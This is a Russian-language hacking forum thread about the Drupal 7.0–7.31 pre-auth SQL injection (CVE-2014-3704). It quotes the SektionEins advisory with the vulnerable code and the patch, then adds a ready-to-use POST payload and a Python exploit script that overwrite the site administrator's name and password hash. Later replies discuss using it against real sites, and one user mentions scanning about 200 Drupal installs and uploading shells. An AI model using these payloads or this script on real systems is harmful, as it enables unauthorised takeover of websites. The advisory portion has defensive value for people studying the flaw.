Старый 16.10.2014, 11:16   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2014-3704 Drupal 7.0 – 7.31 pre-auth SQL Injection Vulnerability

Коллега Эссера нашел инъекцию, которой 3 года.

Let the show begin

https://www.sektioneins.de/en/adviso...erability.html

Код:
                         SektionEins GmbH
                        www.sektioneins.de

                     -= Security  Advisory =-

     Advisory: Drupal - pre-auth SQL Injection Vulnerability
 Release Date: 2014/10/15
Last Modified: 2014/10/15
       Author: Stefan Horst [stefan.horst[at]sektioneins.de]

  Application: Drupal >= 7.0 <= 7.31
     Severity: Full SQL injection, which results in total control and code execution of Website.
         Risk: Highly Critical
Vendor Status: Drupal 7.32 fixed this bug
    Reference: http://www.sektioneins.com/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html

Overview:

  Quote from http://www.drupal.org
  "Come for the software, stay for the community

   Drupal is an open source content management platform powering millions
   of websites and applications. It’s built, used, and supported by an
   active and diverse community of people around the world."

  During a code audit of Drupal extensions for a customer an SQL Injection
      was found in the way the Drupal core handles prepared statements.

  A malicious user can inject arbitrary SQL queries. And thereby
  control the complete Drupal site. This leads to a code execution as well.

      This vulnerability can be exploited by remote attackers without any
      kind of authentication required.

Details:

  Drupal uses prepared statements in all its SQL queries. To handle IN
  statements there is an expandArguments function to expand arrays.

    protected function expandArguments(&$query, &$args) {
      $modified = FALSE;

      // If the placeholder value to insert is an array, assume that we need
      // to expand it out into a comma-delimited set of placeholders.
      foreach (array_filter($args, 'is_array') as $key => $data) {
        $new_keys = array();
        foreach ($data as $i => $value) {
          // This assumes that there are no other placeholders that use the same
          // name.  For example, if the array placeholder is defined as :example
          // and there is already an :example_2 placeholder, this will generate
          // a duplicate key.  We do not account for that as the calling code
          // is already broken if that happens.
          $new_keys[$key . '_' . $i] = $value;
        }

        // Update the query with the new placeholders.
        // preg_replace is necessary to ensure the replacement does not affect
        // placeholders that start with the same exact text. For example, if the
        // query contains the placeholders :foo and :foobar, and :foo has an
        // array of values, using str_replace would affect both placeholders,
        // but using the following preg_replace would only affect :foo because
        // it is followed by a non-word character.
        $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

        // Update the args array with the new placeholders.
        unset($args[$key]);
        $args += $new_keys;

        $modified = TRUE;
      }

      return $modified;
    }

  The function assumes that it is called with an array which has no keys. Example:

    db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

  Which results in this SQL Statement

    SELECT * from users where name IN (:name_0, :name_1)

  with the parameters name_0 = user1 and name_1 = user2.

  The Problem occurs, if the array has keys, which are no integers. Example:

    db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

  this results in an exploitable SQL query:

     SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

  with parameters :name_test = user2.

  Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can
      be used to insert arbitrary data in the database, dump or modify existing data
      or drop the whole database.

  With the possibility to INSERT arbitrary data into the database an
  attacker can execute any PHP code through Drupal features with callbacks.

Patch:

    $new_keys = array();
    foreach (array_values($data) as $i => $value) {
      // This assumes that there are no other placeholders that use the same
      // name.  For example, if the array placeholder is defined as :example
      // and there is already an :example_2 placeholder, this will generate
      // a duplicate key.  We do not account for that as the calling code
      // is already broken if that happens.
      $new_keys[$key . '_' . $i] = $value;
    }

Proof of Concept:

  SektionEins GmbH has developed a proof of concept, but was asked by
  Drupal to postpone the release.

Disclosure Timeline:

  16. Sep.  2014 - Notified the Drupal devs via security contact form
  15. Okt.  2014 - Relase of Bugfix by Drupal core Developers
PoC:
Код:
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
SynQ вне форума   Ответить с цитированием
Старый 16.10.2014, 17:56   #2
faza02
 
Аватар для faza02
 
Регистрация: 24.12.2010
Сообщений: 77
Репутация: 14
По умолчанию

Код:
#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
faza02 вне форума   Ответить с цитированием
Старый 01.12.2014, 15:38   #3
sT1myL
 
Регистрация: 09.07.2014
Сообщений: 14
Репутация: 1
По умолчанию

Привет! Сам-то пробовал, работает?
sT1myL вне форума   Ответить с цитированием
Старый 01.12.2014, 16:55   #4
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Цитата:
Сообщение от sT1myL Посмотреть сообщение
Привет! Сам-то пробовал, работает?
Сплоит рабочий конечно, тут проблема в том, что урожай собрали уже давно.
Сделал выборку на ~ 200 друпалов 7.* оказались уязвимые 4 штуки - токо те, где не было возможности загрузить модуль (залить шелл)
Ravenous вне форума   Ответить с цитированием
Старый 05.12.2014, 17:33   #5
sT1myL
 
Регистрация: 09.07.2014
Сообщений: 14
Репутация: 1
По умолчанию

Хищный. Согласен, надо было раньше дела делать.
Спасибо за ответ.
sT1myL вне форума   Ответить с цитированием
Старый 05.12.2014, 17:57   #6
devv
 
Регистрация: 08.10.2012
Сообщений: 27
Репутация: -4
По умолчанию

Предложенный разработчиками вариант с array_values не везде от уязвимости защищает.
devv вне форума   Ответить с цитированием
Ответ

Метки
drupal, sql injection

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot